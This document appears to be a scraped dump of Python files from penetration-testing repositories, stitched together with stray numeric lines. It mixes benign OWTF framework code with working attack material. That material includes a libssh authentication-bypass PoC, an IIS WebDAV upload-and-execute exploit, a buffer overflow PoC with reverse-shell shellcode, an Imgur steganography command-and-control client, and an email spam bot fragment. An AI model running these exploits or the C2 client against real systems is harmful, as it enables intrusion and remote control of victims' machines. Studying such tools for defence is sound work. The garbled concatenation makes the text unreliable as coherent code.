os.system("clear") print(self.logo()) email = input("[+] Enter Email Address of Bot: ") password = input("[+] Enter Password of Bot: ") if email == "stop": print(f"[+] Preparing to SpamBot: {spam_email}") inputs = False break self.bots.append([email, password]) spammer = SpamBot(self.bots,spam_email, subject, msg) spammer.login_bots() spammer.begin_spam() spammer = BotAdder() spammer.add_bots()
45.150943
134
0.425271
owtf
""" owtf.api.handlers.session ~~~~~~~~~~~~~~~~~~~~~~~~~ """ from owtf.api.handlers.base import APIRequestHandler from owtf.models.session import Session from owtf.lib import exceptions from owtf.lib.exceptions import APIError from owtf.managers.session import ( add_session, add_target_to_session, delete_session, get_all_session_dicts, remove_target_from_session, ) from owtf.api.handlers.jwtauth import jwtauth __all__ = ["OWTFSessionHandler"] @jwtauth class OWTFSessionHandler(APIRequestHandler): """Handles OWTF sessions.""" SUPPORTED_METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE"] def get(self, session_id=None, action=None): """Get all registered sessions. **Example request**: .. sourcecode:: http GET /api/v1/sessions/ HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": [ { "active": true, "name": "default session", "id": 1 } ] } """ if action is not None: raise APIError(422, "Action must be None") if session_id is None: filter_data = dict(self.request.arguments) self.success(get_all_session_dicts(self.session, filter_data)) else: try: self.success(Session.get_by_id(self.session, session_id)) except exceptions.InvalidSessionReference: raise APIError(400, "Invalid session id provided") def post(self, session_id=None, action=None): """Create a new session. **Example request**: .. sourcecode:: http POST /api/v1/sessions/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest name=google-vrp **Example response**: .. sourcecode:: http HTTP/1.1 201 Created Content-Type: application/json { "status": "success", "data": null } """ if (session_id is not None) or (self.get_argument("name", None) is None) or (action is not None): # Not supposed to post on specific session raise APIError(400, "Incorrect query parameters") try: add_session(self.session, self.get_argument("name")) self.set_status(201) # Stands for "201 Created" self.success(None) except exceptions.DBIntegrityException: raise APIError(400, "An unknown exception occurred when performing a DB operation") def patch(self, session_id=None, action=None): """Change session. **Example request**: .. sourcecode:: http PATCH /api/v1/sessions/1/activate HTTP/1.1 X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": null } """ target_id = self.get_argument("target_id", None) if (session_id is None) or (target_id is None and action in ["add", "remove"]): raise APIError(400, "Incorrect query parameters") try: if action == "add": add_target_to_session(self.session, int(self.get_argument("target_id")), session_id=int(session_id)) elif action == "remove": remove_target_from_session( self.session, int(self.get_argument("target_id")), session_id=int(session_id) ) elif action == "activate": Session.set_by_id(self.session, int(session_id)) self.success(None) except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target reference provided") except exceptions.InvalidSessionReference: raise APIError(400, "Invalid parameter type provided") def delete(self, session_id=None, action=None): """Delete a session. **Example request**: .. sourcecode:: http DELETE /api/v1/sessions/2 HTTP/1.1 X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": null } """ if session_id is None or action is not None: raise APIError(400, "Incorrect query parameters") try: delete_session(self.session, int(session_id)) self.success(None) except exceptions.InvalidSessionReference: raise APIError(400, "Invalid session id provided")
28.965318
116
0.546788
PenetrationTestingScripts
# urllib2 work-alike interface # ...from urllib2... from urllib2 import \ URLError, \ HTTPError # ...and from mechanize from _auth import \ HTTPProxyPasswordMgr, \ HTTPSClientCertMgr from _debug import \ HTTPResponseDebugProcessor, \ HTTPRedirectDebugProcessor # crap ATM ## from _gzip import \ ## HTTPGzipProcessor from _urllib2_fork import \ AbstractBasicAuthHandler, \ AbstractDigestAuthHandler, \ BaseHandler, \ CacheFTPHandler, \ FileHandler, \ FTPHandler, \ HTTPBasicAuthHandler, \ HTTPCookieProcessor, \ HTTPDefaultErrorHandler, \ HTTPDigestAuthHandler, \ HTTPErrorProcessor, \ HTTPHandler, \ HTTPPasswordMgr, \ HTTPPasswordMgrWithDefaultRealm, \ HTTPRedirectHandler, \ ProxyBasicAuthHandler, \ ProxyDigestAuthHandler, \ ProxyHandler, \ UnknownHandler from _http import \ HTTPEquivProcessor, \ HTTPRefererProcessor, \ HTTPRefreshProcessor, \ HTTPRobotRulesProcessor, \ RobotExclusionError import httplib if hasattr(httplib, 'HTTPS'): from _urllib2_fork import HTTPSHandler del httplib from _opener import OpenerDirector, \ SeekableResponseOpener, \ build_opener, install_opener, urlopen from _request import \ Request
24.490196
42
0.69592
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import math class Shape: def __init__(self,length=None,breadth=None,height=None,radius=None): self.length=length self.breadth=breadth self.height=height self.radius=radius def area(self): raise NotImplementedError("Not Implemented") class Square(Shape): def __init__(self,l,b): super().__init__(l,b) def area(self): print("Square Area :" +str(self.length*self.breadth)) class Circle(Shape): def __init__(self,r): super().__init__(radius=r) def area(self): print("Circle Area :" +str(math.pi * self.radius**2)) s=Square(3,4) s.area() c=Circle(2) c.area()
21.178571
73
0.658065
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalSQLi") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
26.909091
75
0.77451
PenTesting
#code by Soledad, provided to oss-security mialing list 2018-10-17 import paramiko import socket import sys nbytes = 4096 hostname = "127.0.0.1" port = 2222 sock = socket.socket() try: sock.connect((hostname, port)) # instantiate transport m = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(m) cmd_channel = transport.open_session() cmd_channel.invoke_shell() except socket.error: print '[-] Connecting to host failed. Please check the specified host and port.' sys.exit(1)
22.642857
70
0.700454
cybersecurity-penetration-testing
#!/usr/bin/python import requests import string import random import sys def randstring(N = 6): return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: webdav_upload.py <host> <inputfile>' sys.exit(0) sc = '' with open(sys.argv[2], 'rb') as f: bytes = f.read() sc = 'sc = Chr(%d)' % ord(bytes[0]) for i in range(1, len(bytes)): if i % 100 == 0: sc += '\r\nsc = sc' sc += '&Chr(%d)' % ord(bytes[i]) put_request = '''<%% @language="VBScript" %%> <%% Sub webdav_upload() Dim fs Set fs = CreateObject("Scripting.FileSystemObject") Dim str Dim tmp Dim tmpexe Dim sc %(shellcode)s Dim base Set tmp = fs.GetSpecialFolder(2) base = tmp & "\" & fs.GetTempName() fs.CreateFolder(base) tmpexe = base & "\" & "svchost.exe" Set str = fs.CreateTextFile(tmpexe, 2, 0) str.Write sc str.Close Dim shell Set shell = CreateObject("Wscript.Shell") shell.run tmpexe, 0, false End Sub webdav_upload %%>''' % {'shellcode' : sc} print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit' print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)' print '\tMariusz Banach / mgeeky, 2016\n' host = sys.argv[1] if not host.startswith('http'): host = 'http://' + host outname = '/file' + randstring(6) + '.asp;.txt' print 'Step 0: Checking if file already exist: "%s"' % (host + outname) r = requests.get(host + outname) if r.status_code == requests.codes.ok: print 'Resource already exists. Exiting...' sys.exit(1) else: print '[*] File does not exists. That\'s good.' print '\nStep 1: Upload file with improper name: "%s"' % (host + outname) print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request) r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'}) if r.status_code < 200 or r.status_code >= 300: print '[!] Upload failed. Status: ' + str(r.status_code) sys.exit(1) else: print '[+] File uploaded.' newname = outname.replace(';.txt', '') print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname) r = requests.request('move', host + outname, headers={'Destination':newname}) if r.status_code < 200 or r.status_code >= 300: print '[!] Renaming operation failed. Status: ' + str(r.status_code) sys.exit(1) else: print '[+] File renamed, splendid my lord.' print '\nStep 3: Executing resulted payload file (%s).' % (host + newname) r = requests.get(host + newname) if r.status_code < 200 or r.status_code >= 300: print '[!] Execution failed. Status: ' + str(r.status_code) print '[!] Response: ' + r.text sys.exit(1) else: print '[+] File has been launched. Game over.'
29.29
116
0.593461
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 LPORT13327 = "" LPORT13327 += "\xbe\x25\xf6\xa6\xe0\xd9\xed\xd9\x74\x24\xf4" LPORT13327 += "\x5a\x33\xc9\xb1\x14\x83\xc2\x04\x31\x72\x10" LPORT13327 += "\x03\x72\x10\xc7\x03\x97\x3b\xf0\x0f\x8b\xf8" LPORT13327 += "\xad\xa5\x2e\x76\xb0\x8a\x49\x45\xb2\xb0\xcb" LPORT13327 += "\x07\xda\x44\xf4\xb6\x46\x23\xe4\xe9\x26\x3a" LPORT13327 += "\xe5\x60\xa0\x64\x2b\xf4\xa5\xd4\xb7\x46\xb1" LPORT13327 += "\x66\xd1\x65\x39\xc5\xae\x10\xf4\x4a\x5d\x85" LPORT13327 += "\x6c\x74\x3a\xfb\xf0\xc3\xc3\xfb\x98\xfc\x1c" LPORT13327 += "\x8f\x30\x6b\x4c\x0d\xa9\x05\x1b\x32\x79\x89" LPORT13327 += "\x92\x54\xc9\x26\x68\x16" #Bingo this works--Had an issue with bad chars.Rev shell also works like charm ret="\x97\x45\x13\x08" crash=LPORT13327 +"\x41" *(4368-105) +ret + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90" #crash="/x41" * 4379 buffer = "\x11(setup sound " +crash + "\x90\x00#" buffer = "\x11(setup sound "+ crash + "\x90\x00#" if 1: print"Fuzzing PASS with %s bytes" % len(buffer) #print str(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('127.0.0.1',13327)) data=s.recv(1024) #print str(data) print(data) s.send(buffer) #data=s.recv(1024) #print str(data) print "done" #s.send('QUIT\r\n') s.close()
27.531915
80
0.65597
PenetrationTestingScripts
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "scandere.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
21.909091
72
0.709163
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 print("------ Iterate over strings ------") my_str="Hello" for s in my_str: print(s) print("------ Iterate over Lists------") my_list=[1,2,3,4,5,6] for l in my_list: print(l) print("------ Iterate over Lists with index and value ------") my_list=[1,2,3,4,5,6] for index,value in enumerate(my_list): print(index,value) print("------ Iterate over Dictionary Keys ------") my_dict={"k1":"v1","k2":"v2","k3":"v3"} for key in my_dict: print("Key : "+key+ " Value : "+ my_dict[key]) print("------ Iterate over Dictionary with items() ------") my_dict={"k1":"v1","k2":"v2","k3":"v3"} for key,value in my_dict.items(): print("Key : "+key+ " Value : "+ value) print("------ Iterate over Tuples ------") my_tuple=(1,2,3,4,5) for value in my_tuple: print(value) print("------ Iterate over Set ------") my_set={2,2,3,3,5,5} for value in my_set: print(value)
21.794872
62
0.57545
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 class Id_Generator(): def __init__(self): self.id=0 def generate(self): self.id=self.id + 1 return self.id class Department(): def __init__(self,name,location): self.name=name self.loc=location def DepartmentInfo(self): return "Department Name : " +str(self.name) +", Location : " +str(self.loc) class Manager(): def __init__(self,m_id,name): self.m_id=m_id self.name=name def ManagerInfo(self): return "Manager Name : " +str(self.name) +", Manager id : " +str(self.m_id) class Address(): def __init__(self,country,state,area,street,zip_code): self.country=country self.state=state self.area=area self.street=street self.zip_code=zip_code def AddressInfo(self): return "Country : " +str(self.country)+", State : " +str(self.state)+", Street : "+str(self.area) class Employee(): def __init__(self,Name,id_gen,dept=None,manager=None,address=None): self.Id=id_gen.generate() self.Name=Name self.D_id=None self.Salary=None self.dept=dept self.manager=manager self.address=address def printDetails(self): print("\n") print("Employee Details : ") print("ID : " +str(self.Id)) print("Name : " +str(self.Name)) print("Salary : " + str(self.Salary)) print("Department :\n\t"+str(self.dept.DepartmentInfo())) print("Manager : \n\t" +str(self.manager.ManagerInfo())) print("Address : \n\t" +str(self.address.AddressInfo())) print("------------------------------") Id_gen=Id_Generator() m=Manager(100,"Manager X") d=Department("IT","Delhi") a=Address("UAE","Dubai","Silicon Oasis","Lavista 6","xxxxxx") emp1=Employee("Emp1",Id_gen,d,m,a) emp1.Salary=20000 emp1.D_id=2 emp1.printDetails() """emp2=Employee("Emp2",Id_gen) emp2.Salary=10000 emp2.D_id=1 emp1.printDetails() emp2.printDetails()"""
29.725806
100
0.619748
Python-Penetration-Testing-Cookbook
# -*- coding: utf-8 -*- from scrapy.spiders import CrawlSpider, Rule from scrapy.linkextractors import LinkExtractor from books.item import BookItem class HomeSpider(CrawlSpider): name = 'home' allowed_domains = ['books.toscrape.com'] start_urls = ['http://books.toscrape.com/'] rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)), callback="parse_page", follow=True),) def parse_page(self, response): items = [] books = response.xpath('//ol/li/article') index = 0 for book in books: item = BookItem() title = books.xpath('//h3/a/text()')[index].extract() item['title'] = str(title).encode('utf-8').strip() price = books.xpath('//article/div[contains(@class, "product_price")]/p[1]/text()')[index].extract() item['price'] = str(price).encode('utf-8').strip() items.append(item) index += 1 yield item
36
112
0.567134
diff-droid
from os import listdir from os.path import isfile, join def pretty_print(list_of_files): print "Logging Modules !" for x in range(len(list_of_files)): print "\t"+"("+str(x)+") "+list_of_files[x] read_input(list_of_files) def print_list(): mypath = "loggers" onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))] pretty_print(onlyfiles) def read_input(list_of_files): user_option = raw_input("Please enter your choice :") for x in range(len(list_of_files)): if (x == int(user_option)): print "your selection is : "+list_of_files[x]
29.45
71
0.631579
PenetrationTestingScripts
#coding=utf-8 import time from printers import printPink,printGreen import threading from multiprocessing.dummy import Pool import poplib def pop3_Connection(ip,username,password,port): try: pp = poplib.POP3(ip) #pp.set_debuglevel(1) pp.user(username) pp.pass_(password) (mailCount,size) = pp.stat() pp.quit() if mailCount: lock.acquire() printGreen("%s pop3 at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) result.append("%s pop3 at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) lock.release() except Exception,e: print e lock.acquire() print "%s pop3 service 's %s:%s login fail " %(ip,username,password) lock.release() pass def pop3_l(ip,port): try: d=open('conf/pop3.conf','r') data=d.readline().strip('\r\n') while(data): username=data.split(':')[0] password=data.split(':')[1] pop3_Connection(ip,username,password,port) data=d.readline().strip('\r\n') except Exception,e: print e pass def pop_main(ipdict,threads): printPink("crack pop now...") print "[*] start crack pop %s" % time.ctime() starttime=time.time() global lock lock = threading.Lock() global result result=[] pool=Pool(threads) for ip in ipdict['pop3']: pool.apply_async(func=pop3_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop pop serice %s" % time.ctime() print "[*] crack pop done,it has Elapsed time:%s " % (time.time()-starttime) return result
28.360656
109
0.559777
cybersecurity-penetration-testing
from imgurpython import ImgurClient import StegoText import ast, os, time, shlex, subprocess, base64, random, sys def get_input(string): try: return raw_input(string) except: return input(string) def authenticate(): client_id = '<YOUR CLIENT ID>' client_secret = '<YOUR CLIENT SECRET>' client = ImgurClient(client_id, client_secret) authorization_url = client.get_auth_url('pin') print("Go to the following URL: {0}".format(authorization_url)) pin = get_input("Enter pin code: ") credentials = client.authorize(pin, 'pin') client.set_user_auth(credentials['access_token'], credentials['refresh_token']) return client client_uuid = "test_client_1" client = authenticate() a = client.get_account_albums("<YOUR IMGUR USERNAME>") imgs = client.get_album_images(a[0].id) last_message_datetime = imgs[-1].datetime steg_path = StegoText.hide_message(random.choice(client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}", "Imgur1.png",True) uploaded = client.upload_from_path(steg_path) client.album_add_images(a[0].id, uploaded['id']) last_message_datetime = uploaded['datetime'] loop = True while loop: time.sleep(5) imgs = client.get_album_images(a[0].id) if imgs[-1].datetime > last_message_datetime: last_message_datetime = imgs[-1].datetime client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True)) if client_dict['uuid'] == client_uuid: command = base64.b32decode(client_dict['command']) if command == "quit": sys.exit(0) args = shlex.split(command) p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() p_status = p.wait() steg_path = StegoText.hide_message(random.choice(client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True) uploaded = client.upload_from_path(steg_path) client.album_add_images(a[0].id, uploaded['id']) last_message_datetime = uploaded['datetime']
35.19403
164
0.592409
Python-Penetration-Testing-Cookbook
from scapy.all import * host = 'rejahrehim.com' ip = socket.gethostbyname(host) port = 80 def is_up(ip): icmp = IP(dst=ip)/ICMP() resp = sr1(icmp, timeout=10) if resp == None: return False else: return True def probe_port(ip, port, result = 1): src_port = RandShort() try: p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='A', seq=12345) resp = sr1(p, timeout=2) # Sending packet if str(type(resp)) == "<type 'NoneType'>": result = 1 elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x4: result = 0 elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): result = 1 except Exception as e: pass return result if __name__ == '__main__': conf.verb = 0 if is_up(ip): response = probe_port(ip, port) if response == 1: print ("Filtered | Stateful firewall present") elif response == 0: print ("Unfiltered | Stateful firewall absent") else: print ("Host is Down")
24.282609
105
0.531842
owtf
""" owtf.transactions.base ~~~~~~~~~~~~~~~~~~~~~~ HTTP_Transaction is a container of useful HTTP Transaction information to simplify code both in the framework and the plugins. """ import gzip import io import logging import zlib try: from http.client import responses as response_messages except ImportError: from httplib import responses as response_messages from cookies import Cookie, InvalidCookieError from owtf.utils.http import derive_http_method __all__ = ["HTTPTransaction"] class HTTPTransaction(object): def __init__(self, timer): self.timer = timer self.new = False @property def in_scope(self): """Check if the transaction is in scope :return: True if in scope, else False :rtype: `bool` """ return self.is_in_scope def start(self, url, data, method, is_in_scope): """Get attributes for a new transaction :param url: transaction url :type url: `str` :param data: transaction data :type data: :param method: :type method: :param is_in_scope: :type is_in_scope: :return: :rtype: """ self.is_in_scope = is_in_scope self.timer.start_timer("Request") self.time = self.time_human = "" self.url = url self.data = data if data is not None else "" self.method = derive_http_method(method, data) self.found = None self.raw_request = "" self.response_headers = [] self.response_size = "" self.status = "" self.id = "" self.html_link_id = "" self.new = True # Flag new transaction. def end_request(self): """End timer for the request :return: None :rtype: None """ self.time = self.timer.get_elapsed_time_as_str("Request") self.time_human = self.time self.local_timestamp = self.timer.get_current_date_time() def set_transaction(self, found, request, response): """Response can be "Response" for 200 OK or "Error" for everything else, we don't care here. :param found: :type found: :param request: :type request: :param response: :type response: :return: :rtype: """ if self.url != response.url: if response.code not in [302, 301]: # No way, error in hook. # Mark as a redirect, dirty but more accurate than 200 :P self.status = "302 Found" self.status += " --Redirect--> {!s} ".format(response.code) self.status += response.msg # Redirect differs in schema (i.e. https instead of http). if self.url.split(":")[0] != response.url.split(":")[0]: pass self.url = response.url else: self.status = "{!s} {!s}".format(str(response.code), response.msg) self.raw_request = request self.found = found self.response_headers = response.headers self.response_contents = response.read() self.check_if_compressed(response, self.response_contents) self.end_request() def set_transaction_from_db( self, id, url, method, status, time, time_human, local_timestamp, request_data, raw_request, response_headers, response_size, response_body, ): """Set the transaction from the DB :param id: :type id: :param url: :type url: :param method: :type method: :param status: :type status: :param time: :type time: :param time_human: :type time_human: :param local_timestamp: :type local_timestamp: :param request_data: :type request_data: :param raw_request: :type raw_request: :param response_headers: :type response_headers: :param response_size: :type response_size: :param response_body: :type response_body: :return: :rtype: """ self.id = id self.new = False # Flag NOT new transaction. self.url = url self.method = method self.status = status self.found = (self.status == "200 OK") self.time = time self.time_human = time_human self.local_timestamp = local_timestamp self.data = request_data self.raw_request = raw_request self.response_headers = response_headers self.response_size = response_size self.response_contents = response_body def get_session_tokens(self): """Get a JSON blob of all captured cookies :return: :rtype: """ cookies = [] try: # parsing may sometimes fail for cookie in self.cookies_list: cookies.append(Cookie.from_string(cookie).to_dict()) except InvalidCookieError: logging.debug("Cannot not parse the cookies") return cookies def set_error(self, error_message): """Set the error message for a transaction :param error_message: Message to set :type error_message: `str` :return: None :rtype: None """ # Only called for unknown errors, 404 and other HTTP stuff handled on self.SetResponse. self.response_contents = error_message self.end_request() @property def get_id(self): """Get transaction ID :return: transaction id :rtype: `int` """ return self.id def set_id(self, id, html_link_to_id): """Sets the transaction id and format an HTML link :param id: transaction id :type id: `int` :param html_link_to_id: HTML link for the id :type html_link_to_id: `str` :return: None :rtype: None """ self.id = id self.html_link_id = html_link_to_id # Only for new transactions, not when retrieved from DB, etc. if self.new: logging.info( "New OWTF HTTP Transaction: %s", " - ".join([self.id, self.time_human, self.status, self.method, self.url]), ) def get_html_link(self, link_name=""): """Get the HTML link to the transaction ID :param link_name: Name of the link :type link_name: `str` :return: Formatted HTML link :rtype: `str` """ if "" == link_name: link_name = "Transaction {}".format(self.id) return self.html_link_id.replace("@@@PLACE_HOLDER@@@", link_name) def get_raw(self): """Get raw transaction request and response :return: Raw string with response and request :rtype: `str` """ return "{}\n\n{}".format(self.get_raw_request, self.get_raw_response()) @property def get_raw_request(self): """Return raw request :return: Raw request :rtype: `str` """ return self.raw_request @property def get_status(self): """Get status for transaction response :return: Status :rtype: `str` """ return self.status @property def get_response_headers(self): """Get response headers for the transaction :return: :rtype: """ return self.response_headers def get_raw_response(self, with_status=True): """Get the complete raw response :param with_status: Want status? :type with_status: `bool` :return: Raw reponse :rtype: `str` """ try: return "{}\r\n{}\n\n{}".format(self.get_status, str(self.response_headers), self.response_contents) except UnicodeDecodeError: return "{}\r\n{}\n\n[Binary Content]".format(self.get_status, str(self.response_headers)) @property def get_raw_response_body(self): """Return raw response content :return: Raw response body :rtype: `str` """ return self.response_contents def import_proxy_req_resp(self, request, response): """Import proxy request and response :param request: :type request: :param response: :type response: :return: :rtype: """ self.is_in_scope = request.in_scope self.url = request.url self.data = request.body if request.body is not None else "" self.method = request.method try: self.status = "{!s} {!s}".format(str(response.code), response_messages[int(response.code)]) except KeyError: self.status = "{!s} Unknown Error".format(response.code) self.raw_request = request.raw_request self.response_headers = response.header_string self.response_contents = response.body self.response_size = len(self.response_contents) self.time = str(response.request_time) self.time_human = self.timer.get_time_human(self.time) self.local_timestamp = request.local_timestamp self.found = (self.status == "200 OK") self.cookies_list = response.cookies self.new = True self.id = "" self.html_link_id = "" @property def get_decode_response(self): return self.decoded_content def check_if_compressed(self, response, content): if response.info().get("Content-Encoding", "") == "gzip": # check for gzip compression compressed_file = io.StringIO() compressed_file.write(content) compressed_file.seek(0) f = gzip.GzipFile(fileobj=compressed_file, mode="rb") self.decoded_content = f.read() f.close() elif response.info().get("Content-Encoding") == "deflate": # check for deflate compression self.decoded_content = zlib.decompress(content) else: self.decoded_content = content # else the no compression
28.970414
111
0.565406
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-08 07:02 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0010_auto_20160108_0650'), ] operations = [ migrations.AlterField( model_name='nmapscan', name='email_text', field=models.EmailField(max_length=32), ), ]
20.761905
51
0.596491
owtf
""" owtf.plugin.runner ~~~~~~~~~~~~~~~~~~ The module is in charge of running all plugins taking into account the chosen settings. """ import copy from collections import defaultdict import imp import logging import os from ptp import PTP from ptp.libptp.constants import UNKNOWN from ptp.libptp.exceptions import PTPError from sqlalchemy.exc import SQLAlchemyError from owtf.config import config_handler from owtf.db.session import get_scoped_session from owtf.lib.exceptions import FrameworkAbortException, PluginAbortException, UnreachableTargetException from owtf.managers.plugin import get_plugins_by_group, get_plugins_by_group_type, get_types_for_plugin_group from owtf.managers.poutput import save_partial_output, save_plugin_output from owtf.managers.target import target_manager from owtf.managers.transaction import num_transactions from owtf.net.scanner import Scanner from owtf.settings import AUX_OUTPUT_PATH, PLUGINS_DIR from owtf.utils.error import abort_framework, user_abort from owtf.utils.file import FileOperations, get_output_dir_target from owtf.utils.signals import owtf_start from owtf.utils.strings import wipe_bad_chars from owtf.utils.timer import timer __all__ = ["runner", "show_plugin_list", "show_plugin_types"] INTRO_BANNER_GENERAL = """ Short Intro: Current Plugin Groups: - web: For web assessments or when network plugins find a port that "speaks HTTP" - network: For network assessments, discovery and port probing - auxiliary: Auxiliary plugins, to automate miscelaneous tasks """ INTRO_BANNER_WEB_PLUGIN_TYPE = """ WEB Plugin Types: - Passive Plugins: NO requests sent to target - Semi Passive Plugins: SOME "normal/legitimate" requests sent to target - Active Plugins: A LOT OF "bad" requests sent to target (You better have permission!) - Grep Plugins: NO requests sent to target. 100% based on transaction searches and plugin output parsing. Automatically run after semi_passive and active in default profile. """ class PluginRunner(object): def __init__(self): # Complicated stuff to keep everything Pythonic and from blowing up def handle_signal(sender, **kwargs): self.on_start(sender, **kwargs) self.handle_signal = handle_signal owtf_start.connect(handle_signal) self.plugin_group = None self.simulation = None self.scope = None self.only_plugins = None self.except_plugins = None self.only_plugins_list = None self.except_plugins_list = None self.options = {} self.timer = timer self.plugin_count = 0 self.session = get_scoped_session() def on_start(self, sender, **kwargs): self.options = copy.deepcopy(kwargs["args"]) self.force_overwrite = self.options["force_overwrite"] self.plugin_group = self.options["plugin_group"] self.portwaves = self.options["port_waves"] self.simulation = self.options.get("Simulation", None) self.scope = self.options["scope"] self.only_plugins = self.options["only_plugins"] self.except_plugins = self.options["except_plugins"] self.except_plugins_list = self.validate_format_plugin_list( session=self.session, plugin_codes=self.only_plugins ) # For special plugin types like "quiet" -> "semi_passive" + "passive" if isinstance(self.options.get("plugin_type"), str): self.options["plugin_type"] = self.options["plugin_type"].split(",") self.scanner = Scanner() self.init_exec_registry() def validate_format_plugin_list(self, session, plugin_codes): """Validate the plugin codes by checking if they exist. :param list plugin_codes: OWTF plugin codes to be validated. :return: validated plugin codes. :rtype: list """ # Ensure there is always a list to iterate from! :) if not plugin_codes: return [] valid_plugin_codes = [] plugins_by_group = get_plugins_by_group(session=session, plugin_group=self.plugin_group) for code in plugin_codes: found = False for plugin in plugins_by_group: # Processing Loop if code in [plugin["code"], plugin["name"]]: valid_plugin_codes.append(plugin["code"]) found = True break if not found: abort_framework( "The code '{!s}' is not a valid plugin, please use the -l option to see" "available plugin names and codes".format(code) ) return valid_plugin_codes # Return list of Codes def init_exec_registry(self): """Initialises the Execution registry: As plugins execute they will be tracked here Useful to avoid calling plugins stupidly :) :return: None :rtype: None """ self.exec_registry = defaultdict(list) for target in self.scope: self.exec_registry[target] = [] def get_last_plugin_exec(self, plugin): """Get shortcut to relevant execution log for this target for readability below :) :param plugin: plugin dict :type plugin: `dict` :return: Index :rtype: `int` """ exec_log = self.exec_registry[config_handler.target] num_items = len(exec_log) if num_items == 0: return -1 # List is empty for index in range((num_items - 1), -1, -1): match = True # Compare all execution log values against the passed Plugin, if all match, return index to log record for k, v in list(exec_log[index].items()): if k not in plugin or plugin[k] != v: match = False if match: return index return -1 def get_log_since_last_exec(self, plugin): """Get all execution entries from log since last time the passed plugin executed :param plugin: Plugin dict :type plugin: `dict` :return: The logs from execution registry :rtype: `dict` """ return self.exec_registry[config_handler.target][self.get_last_plugin_exec(plugin):] def get_plugin_output_dir(self, plugin): """Get plugin directory by test type :param plugin: Plugin :type plugin: `dict` :return: Path to the plugin's output dir :rtype: `str` """ # Organise results by OWASP Test type and then active, passive, semi_passive if plugin["group"] in ["web", "network"]: return os.path.join( target_manager.get_path("partial_url_output_path"), wipe_bad_chars(plugin["title"]), plugin["type"] ) elif plugin["group"] == "auxiliary": return os.path.join(AUX_OUTPUT_PATH, wipe_bad_chars(plugin["title"]), plugin["type"]) def requests_possible(self): """Check if requests are possible .. note:: Even passive plugins will make requests to external resources :return: :rtype: `bool` """ return ["grep"] != get_types_for_plugin_group(self.session, "web") def dump_output_file(self, filename, contents, plugin, relative_path=False): """Dumps output file to path :param filename: Name of the file :type filename: `str` :param contents: Contents of the file :type contents: `str` :param plugin: Plugin :type plugin: `dict` :param relative_path: use relative path :type relative_path: `bool` :return: Absolute path to the file :rtype: `str` """ save_dir = self.get_plugin_output_dir(plugin) abs_path = FileOperations.dump_file(filename, contents, save_dir) if relative_path: return os.path.relpath(abs_path, get_output_dir_target()) return abs_path def get_abs_path(self, relative_path): """Absolute path from relative path :param relative_path: Relative path :type relative_path: `str` :return: The absolute path :rtype: `str` """ return os.path.join(get_output_dir_target(), relative_path) def exists(self, directory): """Check if directory exists :param directory: directory to check :type directory: `str` :return: True if it exists, else False :rtype: `bool` """ return os.path.exists(directory) def get_module(self, module_name, module_file, module_path): """Python fiddling to load a module from a file, there is probably a better way... .usage:: ModulePath = os.path.abspath(ModuleFile) :param module_name: Name of the module :type module_name: `str` :param module_file: Name of module file :type module_file: `str` :param module_path: path to the module :type module_path: `str` :return: None :rtype: None """ f, filename, desc = imp.find_module(module_file.split(".")[0], [module_path]) return imp.load_module(module_name, f, filename, desc) def chosen_plugin(self, session, plugin, show_reason=False): """Verify that the plugin has been chosen by the user. :param dict plugin: The plugin dictionary with all the information. :param bool show_reason: If the 